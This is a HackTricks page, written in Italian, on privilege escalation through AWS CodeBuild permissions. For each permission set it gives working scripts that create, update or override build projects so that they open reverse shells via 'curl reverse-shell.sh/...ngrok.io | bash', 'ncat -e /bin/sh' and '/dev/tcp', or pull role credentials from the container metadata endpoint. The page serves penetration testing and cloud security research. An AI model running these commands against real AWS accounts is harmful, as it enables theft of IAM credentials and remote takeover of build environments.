AWS - Codebuild Privesc

Support HackTricks

codebuild

Get more info in:

iam:PassRole, codebuild:CreateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

Un attaccante con i permessi iam:PassRole, codebuild:CreateProject, e codebuild:StartBuild o codebuild:StartBuildBatch sarebbe in grado di escalare i privilegi a qualsiasi ruolo IAM di codebuild creando uno in esecuzione.

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"

JSON="{
\"name\": \"codebuild-demo-project\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"


REV_PATH="/tmp/rev.json"

printf "$JSON" > $REV_PATH

# Create project
aws codebuild create-project --cli-input-json file://$REV_PATH

# Build it
aws codebuild start-build --project-name codebuild-demo-project

# Wait 3-4 mins until it's executed
# Then you can access the logs in the console to find the AWS role token in the output

# Delete the project
aws codebuild delete-project --name codebuild-demo-project

Impatto Potenziale: Privesc diretto a qualsiasi ruolo di AWS Codebuild.

In un contenitore Codebuild, il file /codebuild/output/tmp/env.sh contiene tutte le variabili d'ambiente necessarie per accedere alle credenziali di metadata.

Questo file contiene la variabile d'ambiente AWS_CONTAINER_CREDENTIALS_RELATIVE_URI che contiene il percorso URL per accedere alle credenziali. Sarà qualcosa del tipo /v2/credentials/2817702c-efcf-4485-9730-8e54303ec420

Aggiungi questo all'URL http://169.254.170.2/ e sarai in grado di estrarre le credenziali del ruolo.

Inoltre, contiene anche la variabile d'ambiente ECS_CONTAINER_METADATA_URI che contiene l'URL completo per ottenere informazioni di metadata sul contenitore.

iam:PassRole, codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

Proprio come nella sezione precedente, se invece di creare un progetto di build puoi modificarlo, puoi indicare il ruolo IAM e rubare il token.

REV_PATH="/tmp/codebuild_pwn.json"

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"

# You need to indicate the name of the project you want to modify
JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"

printf "$JSON" > $REV_PATH

aws codebuild update-project --cli-input-json file://$REV_PATH

aws codebuild start-build --project-name codebuild-demo-project

Impatto Potenziale: Privesc diretto a qualsiasi ruolo di AWS Codebuild.

codebuild:StartBuild | codebuild:StartBuildBatch

Basta avere uno di questi permessi per attivare una build con un nuovo buildspec e rubare il token del ruolo iam assegnato al progetto:

cat > /tmp/builspec.yml <<EOF
version: 0.2

phases:
build:
commands:
- curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh
EOF

aws codebuild start-build --project <project-name> --buildspec-override file:///tmp/builspec.yml

Impatto Potenziale: Privesc diretto ai ruoli AWS Codebuild associati.

codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

Come nella sezione precedente ma senza il permesso iam:PassRole, puoi abusare di questi permessi per modificare i progetti Codebuild esistenti e accedere al ruolo che hanno già assegnato.

REV_PATH="/tmp/codebuild_pwn.json"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"

# You need to indicate the name of the project you want to modify
JSON="{
\"name\": \"codebuild_lab_3_project\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nbatch:\\\\n  fast-fail: false\\\\n  build-list:\\\\n    - identifier: build1\\\\n      env:\\\\n        variables:\\\\n          BUILD_ID: build1\\\\n      buildspec: |\\\\n        version: 0.2\\\\n        env:\\\\n          shell: sh\\\\n        phases:\\\\n          build:\\\\n            commands:\\\\n              - curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh\\\\n      ignore-failure: true\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
\"computeType\": \"BUILD_GENERAL1_SMALL\",
\"imagePullCredentialsType\": \"CODEBUILD\"
}
}"

printf "$JSON" > $REV_PATH

# Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild!

aws codebuild update-project --cli-input-json file://$REV_PATH

aws codebuild start-build-batch --project-name codebuild-demo-project

Impatto Potenziale: Privesc diretto ai ruoli AWS Codebuild allegati.

SSM

Avere sufficienti permessi per avviare una sessione ssm rende possibile entrare in un progetto Codebuild in fase di costruzione.

Il progetto codebuild avrà bisogno di avere un punto di interruzione:

phases:
pre_build:
commands:
- echo Entrato nella fase pre_build...
- echo "Hello World" > /tmp/hello-world
      - codebuild-breakpoint

E poi:

aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
aws ssm start-session --target <sessionTarget> --region <region>

Per ulteriori informazioni controlla la documentazione.

(codebuild:StartBuild | codebuild:StartBuildBatch), s3:GetObject, s3:PutObject

Un attaccante in grado di avviare/ripristinare una build di un progetto CodeBuild specifico che memorizza il proprio file buildspec.yml in un bucket S3 a cui l'attaccante ha accesso in scrittura, può ottenere l'esecuzione di comandi nel processo CodeBuild.

Nota: l'escalation è rilevante solo se il lavoratore CodeBuild ha un ruolo diverso, si spera più privilegiato, rispetto a quello dell'attaccante.

aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./

vim ./buildspec.yml

# Add the following lines in the "phases > pre_builds > commands" section
#
#    - apt-get install nmap -y
#    - ncat <IP> <PORT> -e /bin/sh

aws s3 cp ./buildspec.yml s3://<build-configuration-files-bucket>/buildspec.yml

aws codebuild start-build --project-name <project-name>

# Wait for the reverse shell :)

Puoi usare qualcosa come questo builspec per ottenere una reverse shell:

buildspec.yml
version: 0.2

phases:
build:
commands:
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1

Impatto: Privesc diretto al ruolo utilizzato dal lavoratore AWS CodeBuild che di solito ha privilegi elevati.

Nota che il buildspec potrebbe essere previsto in formato zip, quindi un attaccante dovrebbe scaricare, decomprimere, modificare il buildspec.yml dalla directory radice, ricomprimere e caricare di nuovo.

Maggiori dettagli possono essere trovati qui.

Impatto Potenziale: Privesc diretto ai ruoli AWS Codebuild allegati.

Supporta HackTricks

Last updated